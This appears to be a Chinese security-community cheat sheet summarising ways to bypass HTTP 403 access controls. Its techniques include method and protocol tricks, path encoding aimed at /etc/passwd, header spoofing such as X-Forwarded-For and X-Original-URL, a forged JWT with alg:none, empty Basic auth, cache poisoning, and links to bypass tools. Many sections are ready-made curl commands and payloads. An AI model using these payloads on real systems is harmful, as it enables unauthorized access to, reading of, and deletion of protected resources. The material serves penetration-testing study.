403 bypass 小结

fiatlux1212025-10-10文章来源:SecHub网络安全社区


引言

简单解释下400,401,403和40x的区别和为什么要绕过403

好比去淘金场 工作人员说你的名牌不是vip 绕过vip的限制就能进入淘金场

以下是绕过的方法小结

一,协议层

1.1 协议版本降级

  • 原理:waf写的时候权限限制不规范 允许http 1.0通过

    http 1.1协议改成http 1.0协议

    原请求(HTTP/1.1 触发 403):curl -H "Host: target.com" https://target.com/admin

    绕过请求(强制 HTTP/1.0):curl -0 -H "Host: target.com" http://target.com/admin(-0 表示使用 HTTP/1.0)

    抓包工具直接改也行

1.2 请求方法混淆

  • 原理:多数权限控制仅针对 GET/POST 等常用方法,对PUT、DELETE、PATCH、PROPFIND、ARBITRARY 等非常规方法校验缺失

抓包修改位置

高成功率的方法

PUT DELETE OPTIONS

PUT :向服务器发送数据以更新现有资源。如果资源不存在,则创建新的资源。与 POST 不同,PUT 通常是幂等的,即多次执行相同的 PUT 请求不会产生不同的结果。(覆盖)

curl -X PUT https://target.com/admin(返回) 返回 200/204 即绕过成功,可以上传恶意文件(注意授权!)

DELETE:从服务器删除指定的资源。请求中包含要删除的资源标识符。(删除)

curl -X DELETE https://target.com/admin 返回 200/404 即路径有效,可以删除对应的文件资源(注意授权

OPTIONS:请求获得由 Request-URL 标识的资源在请求或响应的通信过程中的功能选项,即用于询问服务器支持的请求方法,也常用于跨域请求场景。(探测)

curl -X OPTIONS -I https://target.com/admin (提取Allow: GET,PUT,DELETE,优先测试列表内非 GET/POST 方法)

特殊方法

CONNECT 方法 目标通过代理服务器访问(如内网代理、正向代理) 需要在代理环境政策测试

MKCOL/COPY/MOVE WebDAV 专用方法,需配合 WebDAV 权限漏洞,或服务器启用 WebDAV 协议(如网盘、文件管理系统直接绕过 403 概率低,多为辅助操作(如移动敏感文件)

1.3 端口混淆攻击

  • 原理:服务器可能仅对 80/443 端口做严格路径限制,对 8080、8443 等非标准端口的隐藏管理接口管控宽松

    80 端口访问 403:http://target.com:80/admin

    8080 端口绕过:http://target.com:8080/admin

下面有几个特例也可以用于fuzz

  • 路径中加:端口/admin:8080
  • 多层嵌套:/admin/:80/../
  • 进制转换:八进制(010=8)、十六进 制(0x50=80)
  • 超范围值:用 > 65535 的端口(如 65536=65535+1,可能被取模为 1) 这里如果是80的话可以用65535+80=65615 来进行测试

1.4 分块编码绕过

  • 原理:利用 Transfer-Encoding: chunked 头让服务器以分块方式解析请求体,部分 WAF 可能因未完整解析内容而放行,进而绕过权限校验

(Python 实现):

import requests
url = "https://target.com/protected"
headers = {
    "Host": "target.com",
    "Transfer-Encoding": "chunked"  # 启用分块编码
}
# 分块数据格式:块大小\r\n块内容\r\n,0\r\n\r\n 表示结束
data = "5\r\nhello\r\n0\r\n\r\n"
response = requests.post(url, headers=headers, data=data)
print(response.status_code)  # 可能返回 200 而非 403

https://github.com/c0ny1/chunked-coding-converter

bp有个插件可以开盖即食(右键打开就可以使用了)

1.4 改下协议加密

  • HTTP 用 HTTPS 端口:http://x.com:443/admin
  • HTTPS 用 HTTP 端口:https://x.com:80/admin

二、路径操纵

2.1 特殊字符注入

  • 原理:服务器对路径中 ./; 、@、\等特殊字符处理逻辑漏洞,可能忽略冗余字符或误解析路径

    原路径 403:http://target.com/admin
    末尾加 .http://target.com/admin.
    ; 分割:http://target.com/;/admin

\ /和 \ // 的互换:http://target.com//admin http://target.com/admin http://target.com\admin http://target.com\admin
目录遍历变体:http://target.com/admin../

上面的都是服务器解析为http://target.com/admin 后实现绕过

2.2 双重 URL 编码(也可以使用base64)

  • 原理:通过多层 URL 编码隐藏敏感字符(如 ../ 编码为 %252e%252e%252f),绕过 WAF 对单层编码的检测
    目标路径:http://target.com/../../etc/passwd(直接访问触发 403)
    双重编码后:http://target.com/%252e%252e%252f%252e%252e%252fetc%252fpasswd(服务器解码后得到原始路径)

2.3 后缀污染

  • 原理:利用服务器对路径后缀的解析优先级差异,在敏感路径后加无关后缀(如 .json.%20),绕过路径匹配规则
    原路径 403:http://target.com/admin
    绕过路径 1(加 .%20%20 为空格):http://target.com/admin.%20(服务器忽略空格后缀,解析为 /admin
    绕过路径 2(加 .json):http://target.com/admin.json(部分 Java 服务会忽略非预期后缀,执行 /admin 逻辑)

2.4 参数污染

  • 原理:服务器对多重复参数的解析顺序漏洞,后一个参数可能覆盖前一个,进而绕过对合法参数的校验
  • 实战案例:
    原请求(合法参数触发 403):http://target.com/api?file=legit
    污染后请求:http://target.com/api?file=legit&file=../../etc/passwd(服务器优先解析后一个 file 参数,访问敏感文件)

三、HTTP 请求头伪造

3.1 内部 IP 伪装(X-Forwarded-For 等头)

  • 原理:多数服务器对内部 IP(如 127.0.0.1、192.168.x.x)有信任策略,通过伪造代理头让服务器误认为请求来自内部
    原请求 403:curl https://target.com/admin/settings
    伪造内部 IP:curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin/settings
    其他可用头:X-Real-IP: 192.168.1.1X-Client-IP: 10.0.0.1

3.2 路径覆盖头(X-Original-URL/X-Rewrite-URL)

  • 原理:Nginx 等反向代理场景下,X-Original-URLX-Rewrite-URL 头会覆盖原始请求路径,若服务器仅校验原始路径而忽略该头,可绕过限制
    原请求(路径 / 无权限):GET / HTTP/1.1 Host: target.com
    覆盖路径后:GET / HTTP/1.1 Host: target.com X-Original-URL: /admin(服务器实际执行 /admin 逻辑)

3.3 Referer 头伪装

  • 原理:部分服务器通过 Referer 校验访问来源,仅允许从可信域名(如自身域名)跳转的请求
    原请求(无 Referer 触发 403):curl https://target.com/protected
    伪造 Referer:curl -H "Referer: https://target.com/index.html" https://target.com/protected(伪装从目标自身首页跳转)

四、认证与会话体系绕过

4.1 JWT 算法混淆

  • 原理:JWT(JSON Web Token)若使用 alg: none 算法(无签名),且服务器未校验签名算法有效性,可直接伪造 token 绕过认证
    原有效 token(HS256 签名):eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjF9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
    伪造 token(alg: none):eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOjF9.(删除签名部分,服务器若接受 none 算法则通过认证)

4.2 Basic 认证空密码绕过

  • 原理:部分 Basic 认证实现存在漏洞,允许空用户名/密码或仅传认证头无内容即可通过
    原认证请求(需正确账号密码):curl -u admin:123456 https://target.com/admin
    绕过请求(空认证):curl -H "Authorization: Basic" https://target.com/admin(仅传 Basic 头,无账号密码编码内容)

4.3 会话 ID 替换

  • 原理:服务器若仅依赖会话 ID(如 PHPSESSID)做权限校验,且内外网会话未隔离,可替换会话 ID 绕过
    1. 访问目标外部门户(无需权限),获取会话 ID:PHPSESSID=outer123
    2. 访问内部门户(/admin)触发 403,会话 ID 为 PHPSESSID=inner456
    3. 拦截内部门户请求,将 PHPSESSID 改为 outer123,发送后成功访问(服务器误将外部门户会话识别为内部会话)

五、特殊场景绕过

5.1 Web 缓存中毒绕过

  • 原理:利用缓存服务器(如 CDN)对请求头的信任,将受限制路径(如 /admin)的响应存入缓存,后续请求直接从缓存获取,绕过实时权限校验
    1. 发送缓存污染请求:GET /anything HTTP/1.1 Host: target.com X-Original-URL: /admin(缓存服务器将 /anything 映射为 /admin 的响应)
    2. 后续访问 http://target.com/anything,缓存服务器直接返回 /admin 的内容,无需触发服务器权限校验

5.2 IP 直接访问绕过

  • 原理:服务器可能仅对域名(如 target.com)做路径限制,对直接 IP 访问无管控(因未关联域名的权限规则)
    1. 通过 nslookup target.com 获取服务器 IP:192.168.1.100
    2. 域名访问 403:http://target.com/admin
    3. IP 访问绕过:http://192.168.1.100/admin

5.3 静态资源路径绕过

  • 原理:服务器对静态资源(如 .css.js)的路径校验宽松,可在静态资源路径中嵌入敏感路径
    原敏感路径 403:http://target.com/admin
    静态资源嵌入:http://target.com/admin/style.css(服务器解析为静态资源,忽略对 /admin 的权限校验,返回 style.css 同时暴露 /admin 目录结构)

下面是收集的403bypass插件

https://github.com/devploit/nomore403

https://github.com/sting8k/BurpSuite_403Bypasser

https://github.com/yunemse48/403bypasser

https://github.com/yunemse48/403bypasser

https://github.com/0x727/BypassPro